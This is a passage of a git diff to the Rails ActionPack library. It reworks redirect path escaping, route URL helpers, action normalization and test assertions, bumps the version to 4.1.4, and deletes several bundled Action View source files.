+      URL_PARTS = /\A([^?]+)?(\?[^#]+)?(#.+)?\z/
+
       def path(params, request)
-        (params.empty? || !block.match(/%\{\w*\}/)) ? block : (block % escape(params))
+        if block.match(URL_PARTS)
+          path     = interpolation_required?($1, params) ? $1 % escape_path(params)     : $1
+          query    = interpolation_required?($2, params) ? $2 % escape(params)          : $2
+          fragment = interpolation_required?($3, params) ? $3 % escape_fragment(params) : $3
+
+          "#{path}#{query}#{fragment}"
+        else
+          interpolation_required?(block, params) ? block % escape(params) : block
+        end
       end
 
       def inspect
@@ -69,8 +96,8 @@ module ActionDispatch
       end
 
       private
-        def escape(params)
-          Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+        def interpolation_required?(string, params)
+          !params.empty? && string && string.match(/%\{\w*\}/)
         end
     end
 
@@ -90,22 +117,22 @@ module ActionDispatch
           url_options[:path] = (url_options[:path] % escape_path(params))
         end
 
-        if relative_path?(url_options[:path])
-          url_options[:path] = "/#{url_options[:path]}"
-          url_options[:script_name] = request.script_name
+        unless options[:host] || options[:domain]
+          if relative_path?(url_options[:path])
+            url_options[:path] = "/#{url_options[:path]}"
+            url_options[:script_name] = request.script_name
+          elsif url_options[:path].empty?
+            url_options[:path] = request.script_name.empty? ? "/" : ""
+            url_options[:script_name] = request.script_name
+          end
         end
-
+        
         ActionDispatch::Http::URL.url_for url_options
       end
 
       def inspect
         "redirect(#{status}, #{options.map{ |k,v| "#{k}: #{v}" }.join(', ')})"
       end
-
-      private
-        def escape_path(params)
-          Hash[params.map{ |k,v| [k, URI.parser.escape(v)] }]
-        end
     end
 
     module Redirection
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
index 0e5dc1f..ec57a51 100644
--- a/actionpack/lib/action_dispatch/routing/route_set.rb
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -1,11 +1,13 @@
 require 'action_dispatch/journey'
 require 'forwardable'
 require 'thread_safe'
+require 'active_support/concern'
 require 'active_support/core_ext/object/to_query'
 require 'active_support/core_ext/hash/slice'
 require 'active_support/core_ext/module/remove_method'
 require 'active_support/core_ext/array/extract_options'
 require 'action_controller/metal/exceptions'
+require 'action_dispatch/http/request'
 
 module ActionDispatch
   module Routing
@@ -28,7 +30,7 @@ module ActionDispatch
         def call(env)
           params = env[PARAMETERS_KEY]
 
-          # If any of the path parameters has a invalid encoding then
+          # If any of the path parameters has an invalid encoding then
           # raise since it's likely to trigger errors further on.
           params.each do |key, value|
             next unless value.respond_to?(:valid_encoding?)
@@ -155,7 +157,7 @@ module ActionDispatch
           end
 
           def self.optimize_helper?(route)
-            route.requirements.except(:controller, :action).empty?
+            !route.glob? && route.requirements.except(:controller, :action).empty?
           end
 
           class OptimizedUrlHelper < UrlHelper # :nodoc:
@@ -163,9 +165,10 @@ module ActionDispatch
 
             def initialize(route, options)
               super
-              @path_parts   = @route.required_parts
-              @arg_size     = @path_parts.size
-              @string_route = @route.optimized_path
+              @klass          = Journey::Router::Utils
+              @required_parts = @route.required_parts
+              @arg_size       = @required_parts.size
+              @optimized_path = @route.optimized_path
             end
 
             def call(t, args)
@@ -182,43 +185,36 @@ module ActionDispatch
             private
 
             def optimized_helper(args)
-              path = @string_route.dup
-              klass = Journey::Router::Utils
+              params = Hash[parameterize_args(args)]
+              missing_keys = missing_keys(params)
 
-              @path_parts.zip(args) do |part, arg|
-                parameterized_arg = arg.to_param
+              unless missing_keys.empty?
+                raise_generation_error(params, missing_keys)
+              end
 
-                if parameterized_arg.nil? || parameterized_arg.empty?
-                  raise_generation_error(args)
-                end
+              @optimized_path.map{ |segment| replace_segment(params, segment) }.join
+            end
 
-                # Replace each route parameter
-                # e.g. :id for regular parameter or *path for globbing
-                # with ruby string interpolation code
-                path.gsub!(/(\*|:)#{part}/, klass.escape_fragment(parameterized_arg))
-              end
-              path
+            def replace_segment(params, segment)
+              Symbol === segment ? @klass.escape_segment(params[segment]) : segment
             end
 
             def optimize_routes_generation?(t)
               t.send(:optimize_routes_generation?)
             end
 
-            def raise_generation_error(args)
-              parts, missing_keys = [], []
-
-              @path_parts.zip(args) do |part, arg|
-                parameterized_arg = arg.to_param
-
-                if parameterized_arg.nil? || parameterized_arg.empty?
-                  missing_keys << part
-                end
+            def parameterize_args(args)
+              @required_parts.zip(args.map(&:to_param))
+            end
 
-                parts << [part, arg]
-              end
+            def missing_keys(args)
+              args.select{ |part, arg| arg.nil? || arg.empty? }.keys
+            end
 
-              message = "No route matches #{Hash[parts].inspect}"
-              message << " missing required keys: #{missing_keys.inspect}"
+            def raise_generation_error(args, missing_keys)
+              constraints = Hash[@route.requirements.merge(args).sort]
+              message = "No route matches #{constraints.inspect}"
+              message << " missing required keys: #{missing_keys.sort.inspect}"
 
               raise ActionController::UrlGenerationError, message
             end
@@ -226,7 +222,7 @@ module ActionDispatch
 
           def initialize(route, options)
             @options      = options
-            @segment_keys = route.segment_keys
+            @segment_keys = route.segment_keys.uniq
             @route        = route
           end
 
@@ -361,7 +357,7 @@ module ActionDispatch
         include UrlFor
       end
 
-      # Contains all the mounted helpers accross different
+      # Contains all the mounted helpers across different
       # engines and the `main_app` helper for the application.
       # You can include this in your classes if you want to
       # access routes for other engines.
@@ -514,11 +510,12 @@ module ActionDispatch
           @recall      = recall.dup
           @set         = set
 
+          normalize_recall!
           normalize_options!
           normalize_controller_action_id!
           use_relative_controller!
           normalize_controller!
-          handle_nil_action!
+          normalize_action!
         end
 
         def controller
@@ -537,6 +534,11 @@ module ActionDispatch
           end
         end
 
+        # Set 'index' as default action for recall
+        def normalize_recall!
+          @recall[:action] ||= 'index'
+        end
+
         def normalize_options!
           # If an explicit :controller was given, always make :action explicit
           # too, so that action expiry works as expected for things like
@@ -552,8 +554,8 @@ module ActionDispatch
             options[:controller]   = options[:controller].to_s
           end
 
-          if options[:action]
-            options[:action] = options[:action].to_s
+          if options.key?(:action)
+            options[:action] = (options[:action] || 'index').to_s
           end
         end
 
@@ -563,8 +565,6 @@ module ActionDispatch
         # :controller, :action or :id is not found, don't pull any
         # more keys from the recall.
         def normalize_controller_action_id!
-          @recall[:action] ||= 'index' if current_controller
-
           use_recall_for(:controller) or return
           use_recall_for(:action) or return
           use_recall_for(:id)
@@ -586,13 +586,11 @@ module ActionDispatch
           @options[:controller] = controller.sub(%r{^/}, '') if controller
         end
 
-        # This handles the case of action: nil being explicitly passed.
-        # It is identical to action: "index"
-        def handle_nil_action!
-          if options.has_key?(:action) && options[:action].nil?
-            options[:action] = 'index'
+        # Move 'index' action from options to recall
+        def normalize_action!
+          if @options[:action] == 'index'
+            @recall[:action] = @options.delete(:action)
           end
-          recall[:action] = options.delete(:action) if options[:action] == 'index'
         end
 
         # Generates a path from routes, returns [path, params].
diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb
index 8e19025..4a0ef40 100644
--- a/actionpack/lib/action_dispatch/routing/url_for.rb
+++ b/actionpack/lib/action_dispatch/routing/url_for.rb
@@ -20,7 +20,7 @@ module ActionDispatch
     #
     #   <%= link_to('Click here', controller: 'users',
     #           action: 'new', message: 'Welcome!') %>
-    #   # => "/users/new?message=Welcome%21"
+    #   # => <a href="/users/new?message=Welcome%21">Click here</a>
     #
     # link_to, and all other functions that require URL generation functionality,
     # actually use ActionController::UrlFor under the hood. And in particular,
@@ -155,6 +155,8 @@ module ActionDispatch
           _routes.url_for(options.symbolize_keys.reverse_merge!(url_options))
         when String
           options
+        when Array
+          polymorphic_url(options, options.extract_options!)
         else
           polymorphic_url(options)
         end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb
index 44ed0ac..0adc6c8 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/response.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb
@@ -27,6 +27,9 @@ module ActionDispatch
             assert @response.send("#{type}?"), message
           else
             code = Rack::Utils::SYMBOL_TO_STATUS_CODE[type]
+            if code.nil?
+              raise ArgumentError, "Invalid response type :#{type}"
+            end
             assert_equal code, @response.response_code, message
           end
         else
@@ -67,21 +70,17 @@ module ActionDispatch
         end
 
         def normalize_argument_to_redirection(fragment)
-          normalized = case fragment
-            when Regexp
-              fragment
-            when %r{^\w[A-Za-z\d+.-]*:.*}
-              fragment
-            when String
-              @request.protocol + @request.host_with_port + fragment
-            when :back
-              raise RedirectBackError unless refer = @request.headers["Referer"]
-              refer
-            else
-              @controller.url_for(fragment)
-            end
-
-          normalized.respond_to?(:delete) ? normalized.delete("\0\r\n") : normalized
+          if Regexp === fragment
+            fragment
+          else
+            handle = @controller || Class.new(ActionController::Metal) do
+              include ActionController::Redirecting
+              def initialize(request)
+                @_request = request
+              end
+            end.new(@request)
+            handle._compute_redirect_to_location(fragment)
+          end
         end
     end
   end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
index 496682e..f1f998d 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/routing.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
@@ -211,7 +211,7 @@ module ActionDispatch
         def fail_on(exception_class)
           yield
         rescue exception_class => e
-          raise MiniTest::Assertion, e.message
+          raise Minitest::Assertion, e.message
         end
     end
   end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/selector.rb b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
index 3253a3d..12023e6 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/selector.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
@@ -267,7 +267,7 @@ module ActionDispatch
             text.strip! unless NO_STRIP.include?(match.name)
             text.sub!(/\A\n/, '') if match.name == "textarea"
             unless match_with.is_a?(Regexp) ? (text =~ match_with) : (text == match_with.to_s)
-              content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, text)
+              content_mismatch ||= sprintf("<%s> expected but was\n<%s>", match_with, text)
               true
             end
           end
@@ -276,7 +276,7 @@ module ActionDispatch
             html = match.children.map(&:to_s).join
             html.strip! unless NO_STRIP.include?(match.name)
             unless match_with.is_a?(Regexp) ? (html =~ match_with) : (html == match_with.to_s)
-              content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, html)
+              content_mismatch ||= sprintf("<%s> expected but was\n<%s>", match_with, html)
               true
             end
           end
@@ -289,9 +289,9 @@ module ActionDispatch
 
         # FIXME: minitest provides messaging when we use assert_operator,
         # so is this custom message really needed?
-        message = message || %(Expected #{count_description(min, max, count)} matching "#{selector.to_s}", found #{matches.size}.)
+        message = message || %(Expected #{count_description(min, max, count)} matching "#{selector.to_s}", found #{matches.size})
         if count
-          assert_equal matches.size, count, message
+          assert_equal count, matches.size, message
         else
           assert_operator matches.size, :>=, min, message if min
           assert_operator matches.size, :<=, max, message if max
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
index 70b42cc..cc6b763 100644
--- a/actionpack/lib/action_dispatch/testing/integration.rb
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -3,7 +3,7 @@ require 'uri'
 require 'active_support/core_ext/kernel/singleton_class'
 require 'active_support/core_ext/object/try'
 require 'rack/test'
-require 'minitest/unit'
+require 'minitest'
 
 module ActionDispatch
   module Integration #:nodoc:
@@ -137,7 +137,7 @@ module ActionDispatch
     class Session
       DEFAULT_HOST = "www.example.com"
 
-      include MiniTest::Assertions
+      include Minitest::Assertions
       include TestProcess, RequestHelpers, Assertions
 
       %w( status status_message headers body redirect? ).each do |method|
@@ -242,7 +242,7 @@ module ActionDispatch
         @https = flag
       end
 
-      # Return +true+ if the session is mimicking a secure HTTPS request.
+      # Returns +true+ if the session is mimicking a secure HTTPS request.
       #
       #   if session.https?
       #     ...
@@ -298,8 +298,6 @@ module ActionDispatch
 
           session = Rack::Test::Session.new(_mock_session)
 
-          env.merge!(env)
-
           # NOTE: rack-test v0.5 doesn't build a default uri correctly
           # Make sure requested path is always a full uri
           uri = URI.parse('/')
@@ -489,10 +487,6 @@ module ActionDispatch
     @@app = nil
 
     def self.app
-      if !@@app && !ActionDispatch.test_app
-        ActiveSupport::Deprecation.warn "Rails application fallback is deprecated and no longer works, please set ActionDispatch.test_app"
-      end
-
       @@app || ActionDispatch.test_app
     end
 
diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb
index ad5acd8..77f656d 100644
--- a/actionpack/lib/action_pack.rb
+++ b/actionpack/lib/action_pack.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
diff --git a/actionpack/lib/action_pack/gem_version.rb b/actionpack/lib/action_pack/gem_version.rb
new file mode 100644
index 0000000..8a9bb8a
--- /dev/null
+++ b/actionpack/lib/action_pack/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionPack
+  # Returns the version of the currently loaded ActionPack as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 4
+    MINOR = 1
+    TINY  = 4
+    PRE   = nil
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb
index d7d5288..7088cd2 100644
--- a/actionpack/lib/action_pack/version.rb
+++ b/actionpack/lib/action_pack/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
 module ActionPack
-  # Returns the version of the currently loaded ActionPack as a Gem::Version
+  # Returns the version of the currently loaded ActionPack as a <tt>Gem::Version</tt>
   def self.version
-    Gem::Version.new "4.0.2"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActionPack.version.segments
-    STRING = ActionPack.version.to_s
+    gem_version
   end
 end
diff --git a/actionpack/lib/action_view.rb b/actionpack/lib/action_view.rb
deleted file mode 100644
index 4aafbcb..0000000
--- a/actionpack/lib/action_view.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-require 'active_support'
-require 'active_support/rails'
-require 'action_pack'
-
-module ActionView
-  extend ActiveSupport::Autoload
-
-  eager_autoload do
-    autoload :Base
-    autoload :Context
-    autoload :CompiledTemplates, "action_view/context"
-    autoload :Digestor
-    autoload :Helpers
-    autoload :LookupContext
-    autoload :PathSet
-    autoload :RecordIdentifier
-    autoload :RoutingUrlFor
-    autoload :Template
-
-    autoload_under "renderer" do
-      autoload :Renderer
-      autoload :AbstractRenderer
-      autoload :PartialRenderer
-      autoload :TemplateRenderer
-      autoload :StreamingTemplateRenderer
-    end
-
-    autoload_at "action_view/template/resolver" do
-      autoload :Resolver
-      autoload :PathResolver
-      autoload :FileSystemResolver
-      autoload :OptimizedFileSystemResolver
-      autoload :FallbackFileSystemResolver
-    end
-
-    autoload_at "action_view/buffers" do
-      autoload :OutputBuffer
-      autoload :StreamingBuffer
-    end
-
-    autoload_at "action_view/flows" do
-      autoload :OutputFlow
-      autoload :StreamingFlow
-    end
-
-    autoload_at "action_view/template/error" do
-      autoload :MissingTemplate
-      autoload :ActionViewError
-      autoload :EncodingError
-      autoload :MissingRequestError
-      autoload :TemplateError
-      autoload :WrongEncodingError
-    end
-  end
-
-  autoload :TestCase
-
-  ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
-
-  def self.eager_load!
-    super
-    ActionView::Template.eager_load!
-  end
-end
-
-require 'active_support/core_ext/string/output_safety'
-
-ActiveSupport.on_load(:i18n) do
-  I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
-end
diff --git a/actionpack/lib/action_view/base.rb b/actionpack/lib/action_view/base.rb
deleted file mode 100644
index 08253de..0000000
--- a/actionpack/lib/action_view/base.rb
+++ /dev/null
@@ -1,201 +0,0 @@
-require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/ordered_options'
-require 'action_view/log_subscriber'
-
-module ActionView #:nodoc:
-  # = Action View Base
-  #
-  # Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB
-  # (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then Jim Weirich's Builder::XmlMarkup library is used.
-  #
-  # == ERB
-  #
-  # You trigger ERB by using embeddings such as <% %>, <% -%>, and <%= %>. The <%= %> tag set is used when you want output. Consider the
-  # following loop for names:
-  #
-  #   <b>Names of all the people</b>
-  #   <% @people.each do |person| %>
-  #     Name: <%= person.name %><br/>
-  #   <% end %>
-  #
-  # The loop is setup in regular embedding tags <% %> and the name is written using the output embedding tag <%= %>. Note that this
-  # is not just a usage suggestion. Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
-  #
-  #   <%# WRONG %>
-  #   Hi, Mr. <% puts "Frodo" %>
-  #
-  # If you absolutely must write from within a function use +concat+.
-  #
-  # <%- and -%> suppress leading and trailing whitespace, including the trailing newline, and can be used interchangeably with <% and %>.
-  #
-  # === Using sub templates
-  #
-  # Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The
-  # classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):
-  #
-  #   <%= render "shared/header" %>
-  #   Something really specific and terrific
-  #   <%= render "shared/footer" %>
-  #
-  # As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the
-  # result of the rendering. The output embedding writes it to the current template.
-  #
-  # But you don't have to restrict yourself to static includes. Templates can share variables amongst themselves by using instance
-  # variables defined using the regular embedding tags. Like this:
-  #
-  #   <% @page_title = "A Wonderful Hello" %>
-  #   <%= render "shared/header" %>
-  #
-  # Now the header can pick up on the <tt>@page_title</tt> variable and use it for outputting a title tag:
-  #
-  #   <title><%= @page_title %></title>
-  #
-  # === Passing local variables to sub templates
-  #
-  # You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:
-  #
-  #   <%= render "shared/header", { headline: "Welcome", person: person } %>
-  #
-  # These can now be accessed in <tt>shared/header</tt> with:
-  #
-  #   Headline: <%= headline %>
-  #   First name: <%= person.first_name %>
-  #
-  # If you need to find out whether a certain local variable has been assigned a value in a particular render call,
-  # you need to use the following pattern:
-  #
-  #   <% if local_assigns.has_key? :headline %>
-  #     Headline: <%= headline %>
-  #   <% end %>
-  #
-  # Testing using <tt>defined? headline</tt> will not work. This is an implementation restriction.
-  #
-  # === Template caching
-  #
-  # By default, Rails will compile each template to a method in order to render it. When you alter a template,
-  # Rails will check the file's modification time and recompile it in development mode.
-  #
-  # == Builder
-  #
-  # Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object
-  # named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
-  #
-  # Here are some basic examples:
-  #
-  #   xml.em("emphasized")                                 # => <em>emphasized</em>
-  #   xml.em { xml.b("emph & bold") }                      # => <em><b>emph & bold</b></em>
-  #   xml.a("A Link", "href" => "http://onestepback.org")  # => <a href="http://onestepback.org">A Link</a>
-  #   xml.target("name" => "compile", "option" => "fast")  # => <target option="fast" name="compile"\>
-  #                                                        # NOTE: order of attributes is not specified.
-  #
-  # Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
-  #
-  #   xml.div do
-  #     xml.h1(@person.name)
-  #     xml.p(@person.bio)
-  #   end
-  #
-  # would produce something like:
-  #
-  #   <div>
-  #     <h1>David Heinemeier Hansson</h1>
-  #     <p>A product of Danish Design during the Winter of '79...</p>
-  #   </div>
-  #
-  # A full-length RSS example actually used on Basecamp:
-  #
-  #   xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
-  #     xml.channel do
-  #       xml.title(@feed_title)
-  #       xml.link(@url)
-  #       xml.description "Basecamp: Recent items"
-  #       xml.language "en-us"
-  #       xml.ttl "40"
-  #
-  #       @recent_items.each do |item|
-  #         xml.item do
-  #           xml.title(item_title(item))
-  #           xml.description(item_description(item)) if item_description(item)
-  #           xml.pubDate(item_pubDate(item))
-  #           xml.guid(@person.firm.account.url + @recent_items.url(item))
-  #           xml.link(@person.firm.account.url + @recent_items.url(item))
-  #
-  #           xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
-  #         end
-  #       end
-  #     end
-  #   end
-  #
-  # More builder documentation can be found at http://builder.rubyforge.org.
-  class Base
-    include Helpers, ::ERB::Util, Context
-
-    # Specify the proc used to decorate input tags that refer to attributes with errors.
-    cattr_accessor :field_error_proc
-    @@field_error_proc = Proc.new{ |html_tag, instance| "<div class=\"field_with_errors\">#{html_tag}</div>".html_safe }
-
-    # How to complete the streaming when an exception occurs.
-    # This is our best guess: first try to close the attribute, then the tag.
-    cattr_accessor :streaming_completion_on_exception
-    @@streaming_completion_on_exception = %("><script>window.location = "/500.html"</script></html>)
-
-    # Specify whether rendering within namespaced controllers should prefix
-    # the partial paths for ActiveModel objects with the namespace.
-    # (e.g., an Admin::PostsController would render @post using /admin/posts/_post.erb)
-    cattr_accessor :prefix_partial_path_with_controller_namespace
-    @@prefix_partial_path_with_controller_namespace = true
-
-    # Specify default_formats that can be rendered.
-    cattr_accessor :default_formats
-
-    class_attribute :_routes
-    class_attribute :logger
-
-    class << self
-      delegate :erb_trim_mode=, :to => 'ActionView::Template::Handlers::ERB'
-
-      def cache_template_loading
-        ActionView::Resolver.caching?
-      end
-
-      def cache_template_loading=(value)
-        ActionView::Resolver.caching = value
-      end
-
-      def xss_safe? #:nodoc:
-        true
-      end
-    end
-
-    attr_accessor :view_renderer
-    attr_internal :config, :assigns
-
-    delegate :lookup_context, :to => :view_renderer
-    delegate :formats, :formats=, :locale, :locale=, :view_paths, :view_paths=, :to => :lookup_context
-
-    def assign(new_assigns) # :nodoc:
-      @_assigns = new_assigns.each { |key, value| instance_variable_set("@#{key}", value) }
-    end
-
-    def initialize(context = nil, assigns = {}, controller = nil, formats = nil) #:nodoc:
-      @_config = ActiveSupport::InheritableOptions.new
-
-      if context.is_a?(ActionView::Renderer)
-        @view_renderer = context
-      else
-        lookup_context = context.is_a?(ActionView::LookupContext) ?
-          context : ActionView::LookupContext.new(context)
-        lookup_context.formats  = formats if formats
-        lookup_context.prefixes = controller._prefixes if controller
-        @view_renderer = ActionView::Renderer.new(lookup_context)
-      end
-
-      assign(assigns)
-      assign_controller(controller)
-      _prepare_context
-    end
-
-    ActiveSupport.run_load_hooks(:action_view, self)
-  end
-end
diff --git a/actionpack/lib/action_view/dependency_tracker.rb b/actionpack/lib/action_view/dependency_tracker.rb
deleted file mode 100644
index b2e8334..0000000
--- a/actionpack/lib/action_view/dependency_tracker.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-require 'thread_safe'
-
-module ActionView
-  class DependencyTracker
-    @trackers = ThreadSafe::Cache.new
-
-    def self.find_dependencies(name, template)
-      tracker = @trackers[template.handler]
-
-      if tracker.present?
-        tracker.call(name, template)
-      else
-        []
-      end
-    end
-
-    def self.register_tracker(extension, tracker)
-      handler = Template.handler_for_extension(extension)
-      @trackers[handler] = tracker
-    end
-
-    def self.remove_tracker(handler)
-      @trackers.delete(handler)
-    end
-
-    class ERBTracker
-      EXPLICIT_DEPENDENCY = /# Template Dependency: (\S+)/
-
-      # Matches:
-      #   render partial: "comments/comment", collection: commentable.comments
-      #   render "comments/comments"
-      #   render 'comments/comments'
-      #   render('comments/comments')
-      #
-      #   render(@topic)         => render("topics/topic")
-      #   render(topics)         => render("topics/topic")
-      #   render(message.topics) => render("topics/topic")
-      RENDER_DEPENDENCY = /
-        render\s*                     # render, followed by optional whitespace
-        \(?                           # start an optional parenthesis for the render call
-        (partial:|:partial\s+=>)?\s*  # naming the partial, used with collection -- 1st capture
-        ([@a-z"'][@\w\/\."']+)        # the template name itself -- 2nd capture
-      /x
-
-      def self.call(name, template)
-        new(name, template).dependencies
-      end
-
-      def initialize(name, template)
-        @name, @template = name, template
-      end
-
-      def dependencies
-        render_dependencies + explicit_dependencies
-      end
-
-      attr_reader :name, :template
-      private :name, :template
-
-      private
-
-        def source
-          template.source
-        end
-
-        def directory
-          name.split("/")[0..-2].join("/")
-        end
-
-        def render_dependencies
-          source.scan(RENDER_DEPENDENCY).
-            collect(&:second).uniq.
-
-            # render(@topic)         => render("topics/topic")
-            # render(topics)         => render("topics/topic")
-            # render(message.topics) => render("topics/topic")
-            collect { |name| name.sub(/\A@?([a-z_]+\.)*([a-z_]+)\z/) { "#{$2.pluralize}/#{$2.singularize}" } }.
-
-            # render("headline") => render("message/headline")
-            collect { |name| name.include?("/") ? name : "#{directory}/#{name}" }.
-
-            # replace quotes from string renders
-            collect { |name| name.gsub(/["']/, "") }
-        end
-
-        def explicit_dependencies
-          source.scan(EXPLICIT_DEPENDENCY).flatten.uniq
-        end
-    end
-
-    register_tracker :erb, ERBTracker
-  end
-end
diff --git a/actionpack/lib/action_view/digestor.rb b/actionpack/lib/action_view/digestor.rb
deleted file mode 100644
index 377563e..0000000
--- a/actionpack/lib/action_view/digestor.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-require 'thread_safe'
-require 'action_view/dependency_tracker'
-require 'monitor'
-
-module ActionView
-  class Digestor
-    cattr_reader(:cache)
-    @@cache          = ThreadSafe::Cache.new
-    @@digest_monitor = Monitor.new
-
-    class << self
-      def digest(name, format, finder, options = {})
-        cache_key = ([name, format] + Array.wrap(options[:dependencies])).join('.')
-        # this is a correctly done double-checked locking idiom
-        # (ThreadSafe::Cache's lookups have volatile semantics)
-        @@cache[cache_key] || @@digest_monitor.synchronize do
-          @@cache.fetch(cache_key) do # re-check under lock
-            compute_and_store_digest(cache_key, name, format, finder, options)
-          end
-        end
-      end
-
-      private
-      def compute_and_store_digest(cache_key, name, format, finder, options) # called under @@digest_monitor lock
-        klass = if options[:partial] || name.include?("/_")
-          # Prevent re-entry or else recursive templates will blow the stack.
-          # There is no need to worry about other threads seeing the +false+ value,
-          # as they will then have to wait for this thread to let go of the @@digest_monitor lock.
-          pre_stored = @@cache.put_if_absent(cache_key, false).nil? # put_if_absent returns nil on insertion
-          PartialDigestor
-        else
-          Digestor
-        end
-
-        digest = klass.new(name, format, finder, options).digest
-        # Store the actual digest if config.cache_template_loading is true
-        @@cache[cache_key] = stored_digest = digest if ActionView::Resolver.caching?
-        digest
-      ensure
-        # something went wrong or ActionView::Resolver.caching? is false, make sure not to corrupt the @@cache
-        @@cache.delete_pair(cache_key, false) if pre_stored && !stored_digest 
-      end
-    end
-
-    attr_reader :name, :format, :finder, :options
-
-    def initialize(name, format, finder, options={})
-      @name, @format, @finder, @options = name, format, finder, options
-    end
-
-    def digest
-      Digest::MD5.hexdigest("#{source}-#{dependency_digest}").tap do |digest|
-        logger.try :info, "Cache digest for #{name}.#{format}: #{digest}"
-      end
-    rescue ActionView::MissingTemplate
-      logger.try :error, "Couldn't find template for digesting: #{name}.#{format}"
-      ''
-    end
-
-    def dependencies
-      DependencyTracker.find_dependencies(name, template)
-    rescue ActionView::MissingTemplate
-      [] # File doesn't exist, so no dependencies
-    end
-
-    def nested_dependencies
-      dependencies.collect do |dependency|
-        dependencies = PartialDigestor.new(dependency, format, finder).nested_dependencies
-        dependencies.any? ? { dependency => dependencies } : dependency
-      end
-    end
-
-    private
-
-      def logger
-        ActionView::Base.logger
-      end
-
-      def logical_name
-        name.gsub(%r|/_|, "/")
-      end
-
-      def partial?
-        false
-      end
-
-      def template
-        @template ||= finder.find(logical_name, [], partial?, formats: [ format ])
-      end
-
-      def source
-        template.source
-      end
-
-      def dependency_digest
-        template_digests = dependencies.collect do |template_name|
-          Digestor.digest(template_name, format, finder, partial: true)
-        end
-
-        (template_digests + injected_dependencies).join("-")
-      end
-
-      def injected_dependencies
-        Array.wrap(options[:dependencies])
-      end
-  end
-
-  class PartialDigestor < Digestor # :nodoc:
-    def partial?
-      true
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/flows.rb b/actionpack/lib/action_view/flows.rb
deleted file mode 100644
index c0e458c..0000000
--- a/actionpack/lib/action_view/flows.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-require 'active_support/core_ext/string/output_safety'
-
-module ActionView
-  class OutputFlow #:nodoc:
-    attr_reader :content
-
-    def initialize
-      @content = Hash.new { |h,k| h[k] = ActiveSupport::SafeBuffer.new }
-    end
-
-    # Called by _layout_for to read stored values.
-    def get(key)
-      @content[key]
-    end
-
-    # Called by each renderer object to set the layout contents.
-    def set(key, value)
-      @content[key] = value
-    end
-
-    # Called by content_for
-    def append(key, value)
